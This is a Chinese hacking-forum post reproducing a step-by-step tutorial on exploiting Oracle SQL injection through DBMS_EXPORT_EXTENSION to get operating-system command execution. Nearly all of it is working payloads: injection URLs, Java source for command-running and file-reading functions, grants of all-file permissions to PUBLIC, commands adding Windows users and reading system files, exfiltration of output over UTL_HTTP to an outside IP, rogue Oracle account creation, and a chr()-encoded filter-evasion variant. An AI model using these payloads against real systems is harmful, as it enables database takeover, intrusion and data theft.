找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2338|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 ( h& L! w, b7 r. h3 T
6 A; F- i* z& p, o% s
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
  E6 ~  E9 g1 c; L的形式即可。(用" 'a'|| "是为了让语句返回true值)
9 [3 W( V& W0 i) k语句有点长,可能要用post提交。
; |6 n1 _$ \3 T1 [以下是各个步骤: / R, i; }& P; Q0 E# L
1.创建包
1 Y# c/ x: ^9 z1 @通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:. v& e6 i" N6 E% w  [
/xxx.jsp?id=1 and '1'<>'a'||(
; U: k8 H% Y  x/ _. l& Oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''0 Q6 f% Z7 @+ h* u( J
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
7 I; N9 T4 ~/ y0 n# Rnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
0 f; C. w4 }/ r3 V! S0 e+ B6 P$ q}'''';END;'';END;--','SYS',0,'1',0) from dual
  k0 s4 q3 G0 _) a, k)
6 L0 \( o( r0 T+ V5 Y7 _1 S------------------------
: f3 u3 ^* A* B) N7 y; ]) Y6 {如果url有长度限制,可以把readFile()函数块去掉,即: 2 g+ Y/ C5 R3 n" j8 r9 o& d3 W2 a
/xxx.jsp?id=1 and '1'<>'a'||( 6 u) n+ M9 H# m" d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ U5 c2 s0 t4 Z
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ u$ h& n. ~+ z( u& Unew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
; U: h' ]" I. e5 J9 x3 @8 M( m}'''';END;'';END;--','SYS',0,'1',0) from dual
: e; ?" R6 K$ U. y+ d) # E5 M5 f, N' W0 X8 G7 ]/ l* z
同时把后面步骤 提到的 对readFile()的处理语句去掉。 ; X5 Z% s& q! U: v
------------------------------
: r; s; h- l  l* X2.赋Java权限 + N6 F) E% V9 |; m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual5 Y- ~, x. G9 j- c4 X9 x' h8 b
3.创建函数 1 `7 p6 e7 ~) H( `: h
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
$ D! }; _  I* @create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual9 K4 |+ C2 x. _- X1 A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
! I$ X* K1 C7 g1 N/ `create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
8 K! C7 P' u4 [/ ~. L2 w- P4.赋public执行函数的权限
4 y8 N' ~4 l# K0 b& U# eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
# U6 A7 N* T9 c) ^1 ]' _# N' U- g% jselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual
% b! T+ s! K* Y, m5.测试上面的几步是否成功 4 e, r$ g& s. q  S- T9 _) H: V$ I
and '1'<>'11'||( 7 P( R; L, L# {4 |4 }! P
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' , G4 p( N) K- o( `
) & K& N6 a+ _4 p$ v& K3 {6 W+ X
and '1'<>(
* |. k: i; M" \. F1 {9 l$ u& _select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE'
& E8 ~# m- o7 `+ H& |' }; E9 l) 6 ]; N  Y- p! p; @
6.执行命令:
5 m0 W' R( R" B* h$ L3 P& `' w/xxx.jsp?id=1 and '1'<>(
- B4 X& `$ o6 |! J3 t# Oselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual
: a. P% z  ^& J. f+ X" |
( P( @# w: m8 E6 `& g  j) + a  n3 L! |& M* ]& b" q8 r' N
/xxx.jsp?id=1 and '1'<>(
% O# ^1 i, y' [$ e  Xselect  sys.LinxReadFile('c:/boot.ini') from dual. @! p' j; C0 i7 x. R+ }/ z/ j

0 ~5 J% B: o( v/ ])3 y0 n' T7 h+ o: N! _, w& V; g
  5 A: L( g( `" i5 L* f
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
+ d. M( r' y( l" G2 T( ]如果要查看运行结果可以用 union : / }3 j) [; Q& @" t( U) |
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual. {; O+ @$ l, U" y. r
或者UTL_HTTP.request(: ( Z& W8 _# j: k. }" \0 @; j
/xxx.jsp?id=1 and '1'<>( 3 J0 n+ R5 ?# ?6 k9 w: u
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual$ Z8 \: x8 ~4 z/ l9 p
) ) @" H% I3 U% y
/xxx.jsp?id=1 and '1'<>(
- J" \* D! o  z" E2 K; MSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual4 s$ h' P0 _1 w/ L9 Z
)
$ d+ a9 V' y7 Q, G% R' {8 D# q注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。. Z- Q# G3 E0 s7 T$ z, H9 E3 s
-------------------- * L# y! n8 q6 Q! G/ U+ B. v
6.内部变化 6 c6 m4 ]  g& F( j# K
通过以下命令可以查看all_objects表达改变:
: u4 V8 H( f, A; P/ p3 Yselect  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'1 F+ I8 @7 D- v
7.删除我们创建的函数
8 X3 |  N% [+ v  b) R" tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. ?# G. q, y2 y, f
drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
  H8 C6 ]! f/ I1 q====================================================
/ v1 u# C. |( V6 S% _全文结束。谨以此文赠与我的朋友。
4 _: q! n. h. ]+ G0 o; U# elinx 1 ^* e. \2 C% ?+ G- m
124829445 : d+ b* K% R- O, @' j* {: T
2008.1.12 ) S4 o: Q5 I4 z& Q: |
linyujian@bjfu.edu.cn
' o7 P% a2 ~9 K: u) Y4 |====================================================================== ( @+ G) C- A+ P. E5 Q4 d
测试漏洞的另一方法: * K+ R4 G# T* n5 X5 b% t& {. w
创建oracle帐号: 0 S; g7 K  D# |" r8 }
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''6 ?! |2 i/ I3 {+ \! `
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
4 q$ ?3 V. V3 z  ?即:
8 o6 o3 r4 y, b# F; Q: F8 hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
6 `1 C3 ]/ o+ _6 b+ uchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual
; X- C+ |) O1 b! |确定漏洞存在: % m# W; H& i% H7 X- O0 l
1<>( / X% ]* m$ f/ F, k8 R. J
select user_id from all_users where username='LINXSQL' 8 f! `- ^) e. `1 ~" Y. ~
)
: W  l* T  _9 q给linxsql连接权限: / u# s0 {, l: Q4 l/ g* B. T
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
  g0 |7 b+ x# z7 ?# \: X- TGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual 5 s4 r: n' A# s+ w6 L  s) g
删除帐号: ; u$ x% C+ r' }  W) C9 i
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
3 n% Z" Z) _, R& }9 u$ Edrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 0 l5 _$ O" V2 I
====================== . T/ M2 }: X+ s3 c: G+ @
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:' h% W7 k4 [$ y0 q, d* Z* [" T
1.jsp?id=1 and '1'<>(
, z3 y3 r; j7 p7 W2 Bselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# k. _. @/ S! kcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual# ^2 ?% T/ E, O! {4 L+ P
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE+ Q6 q0 s' g9 o4 F5 b( D+ Q
 )4 W; z# Q& A4 J& U% H0 s: A0 U( W( }

7 E5 T' n0 Q3 ~5 `
# @- Z, s7 P, K) F$ v& l  T$ ~: J+ b5 l0 k8 g' F& B/ G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表